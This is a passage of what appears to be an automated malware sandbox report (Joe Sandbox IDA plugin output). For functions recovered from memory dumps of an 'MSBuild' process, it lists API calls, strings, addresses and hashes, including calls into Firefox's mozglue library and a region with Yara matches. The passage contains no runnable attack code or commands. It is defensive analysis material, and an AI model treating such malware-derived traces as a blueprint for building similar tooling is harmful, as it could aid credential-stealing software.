moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C50EB57,?,?,?,?,?,?,?,?,?), ref: 6C53D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C50EB57,?), ref: 6C53D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C50EB57,?), ref: 6C53D673
free.MOZGLUE(?), ref: 6C53D888

Strings

WPl, xrefs: 6C53D5D9, 6C53D63F
|Enabled, xrefs: 6C53D81E

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WPl$|Enabled
API String ID: 4142949111-1694255673
Opcode ID: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction ID: 297a1a4cbcb740e26a4f4664c0cdafd2ab2f427ac9fdf2f2cdbf86774f3e4f94
Opcode Fuzzy Hash: 12e97fb4565ad64b17d1d22f1a078ea23a4f4e4e015502dbf8fada9c58dd34a5
Instruction Fuzzy Hash: D4A114B0A05324CFDB11CF69CC807AEBBF1AF4A318F14955CD899AB741E731A945CBA1

Function 6C51B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE), ref: 6C51B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C55CC83,?,?,?,?,?,?,?,?,?,6C55BCAE,?,?,6C54DC2C), ref: 6C51B896

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction ID: 8e6553e78e90a9d86a7e7e8d8d99dccf4d0cffe1a679ca9e0efe82d89335763a
Opcode Fuzzy Hash: b3f298a7bb5ab75b599486fda09da4398a91a807005d05a65eb4e4c388439edd
Instruction Fuzzy Hash: D651BEB47052009FDB14EF18C888E2AB7F5FF89718B5A895DE98697751C730EC02CB80

Function 6C551D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C551D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C551BE3,?,?,6C551D96,00000000), ref: 6C551D4C
GetCurrentThreadId.KERNEL32 ref: 6C551DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C551DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C551DDA

Part of subcall function 6C551EF0: GetCurrentThreadId.KERNEL32 ref: 6C551F03
Part of subcall function 6C551EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C551DF2,00000000,00000000), ref: 6C551F0C
Part of subcall function 6C551EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C551F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C551DF4

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction ID: eb6d9b90aeeddd56b6075d0cb38c2095faa78abfaa5dd724c33a6a8f5e45b4c3
Opcode Fuzzy Hash: b0a02a09aed0b530eb03b5b26c42e8af46634e1e15794905484c9b32d7d98794
Instruction Fuzzy Hash: 58417B75201710AFCB10DF24C888B56BBF9FB89314F51442EE95A87B41DB71F854CB95

Function 6C5484E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5484F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485AC

Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C54767F
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C547693
Part of subcall function 6C547670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5485B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5476A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5485B2

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction ID: 61596598f3dbabb25eb76be2af1b4bf1f30e1e03cfab76424d9df02972938716
Opcode Fuzzy Hash: 2afca826284227c9935ae161372bb6f4d6f6b0c53cdc158622d4a23f17e19354
Instruction Fuzzy Hash: 9E21D1703016019FDB14DB28DC88A9AB7B5AF8530CF15892DE55BC3B42EB31F948CB86

Function 6C511640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C511699
VerSetConditionMask.NTDLL ref: 6C5116CB
VerSetConditionMask.NTDLL ref: 6C5116D7
VerSetConditionMask.NTDLL ref: 6C5116DE
VerSetConditionMask.NTDLL ref: 6C5116E5
VerSetConditionMask.NTDLL ref: 6C5116EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5116F9

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction ID: aef815f91eb61fe11cb5a56f30031b31ee8cb23227dae929c3eadaac6712773f
Opcode Fuzzy Hash: 422778c1110384efd47eac552b24116c6f4bde08652c855c58eaffb06a085b22
Instruction Fuzzy Hash: 532102B0740218ABFB116A648C89FBB73BCEFD6704F014528F6059B680D674AD54C6A1

Function 6C54F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C54F598), ref: 6C54F621

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F637
AcquireSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F645
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8,?,?,00000000,?,6C54F598), ref: 6C54F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C54F62A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction ID: 8c2b1caf3c46e41d6699af5dfb1ce7c8c63e492a956d56fec540ed7aa7a5a1ce
Opcode Fuzzy Hash: ec2398bd674e43430b9502556a2bf30fe868695730bc74cd5abd7c5f7de464ed
Instruction Fuzzy Hash: CD11C431202224AFCB04AF58DD449E57B7DFB87358B515116EA0583F02CB31AC25CBA4

Function 6C512070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,6C511C5F), ref: 6C5120AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5120CD
__Init_thread_footer.LIBCMT ref: 6C5120E1
FreeLibrary.KERNEL32 ref: 6C512124

Strings

combase.dll, xrefs: 6C5120A9
CoInitializeSecurity, xrefs: 6C5120C7

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction ID: b7b96916b471eb2cf0eddc61c2e15e6831d60734a6afe44fbad77dff3537f7f5
Opcode Fuzzy Hash: c1992ba12db05286dcdc0a76b7d2d4558df85174b4ace5f1ca9ea494d170776c
Instruction Fuzzy Hash: 11219A76202229EFEF11CF95DC4CD8A3B7AFB4B324F125214FA0492A91D7319861CF64

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,01340578,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,01340578,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,01340578,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 6C5676C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5676F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C567705

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C567717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C56778F,00000000,00000000,00000000,00000000), ref: 6C567731
free.MOZGLUE(00000000), ref: 6C567760

Strings

}>Tl, xrefs: 6C5676C4

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Tl
API String ID: 2538299546-204987108
Opcode ID: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction ID: 32232609e8e13c59dbfaa0391faa3f3b7dd81018a6b0735ae9d7901342bce718
Opcode Fuzzy Hash: 79748319214348d0750862c3de7244bc0ad707dd57c11b8121506e41683d4f24
Instruction Fuzzy Hash: 2A11C8B1905225ABEB10AF768C44B6BBFE8EF46354F044529F848D7700F7719D4487E2

Function 6C511FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C511FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C511FFD
__Init_thread_footer.LIBCMT ref: 6C512011
FreeLibrary.KERNEL32 ref: 6C512059

Strings

CoCreateInstance, xrefs: 6C511FF7
combase.dll, xrefs: 6C511FD9

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction ID: 394bddc1fa4909aad98928842b50308b5de33bee03b26ee670b24b0c97213704
Opcode Fuzzy Hash: 2979f24f087a9566da1ab77df96ed4f9d17c2606682f9e9ff62216a9c755a598
Instruction Fuzzy Hash: DE11D0B4206224EFEF10DF55CC5CE5A3B78EB9B355F115229FD0582A81D7309810CF65

Function 6C510EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C53D9F0,00000000), ref: 6C510F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C510F3C
__Init_thread_footer.LIBCMT ref: 6C510F50
FreeLibrary.KERNEL32(?,6C53D9F0,00000000), ref: 6C510F86

Strings

CoInitializeEx, xrefs: 6C510F36
combase.dll, xrefs: 6C510F18

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction ID: 6e45645091cdcc40abd95abd67c4136293c3d0705a6d4e7510a620d26f98ff62
Opcode Fuzzy Hash: 493a31e7597a943bece0cac50d8a8a4338825efc6104a9ba719775c4f2c3144c
Instruction Fuzzy Hash: DC11A07420B2609BEF00DF54CD0CA4E3778EB8F325F12572AE90592A82D730A815CA69

Function 004192E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413AEE,?), ref: 004192FC
GetFileSizeEx.KERNEL32(000000FF,:A), ref: 00419319
CloseHandle.KERNEL32(000000FF), ref: 00419327

Strings

:A, xrefs: 00419311, 0041933D, 00419314
:A, xrefs: 004192F8, 004192FB

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :A$:A
API String ID: 1378416451-1974578005
Opcode ID: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction ID: 8914ec7bfe49e7fff428ea2f0c8e17c8fee3bdc60d16e88834f62bd89b6794de
Opcode Fuzzy Hash: f462b5cb5e9955b16ef4a6797186c4cfbf9f6fe3abbcd1d27cc58421f490090d
Instruction Fuzzy Hash: 14F03C39E80208BBDB20DFF0DC59BDE77BAAB48710F108254FA61A72C0D6789A418B45

Function 6C54F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F561

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

GetCurrentThreadId.KERNEL32 ref: 6C54F577
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F585
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C54F239
[I %d/%d] profiler_resume_sampling, xrefs: 6C54F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C54F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C54F56A

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

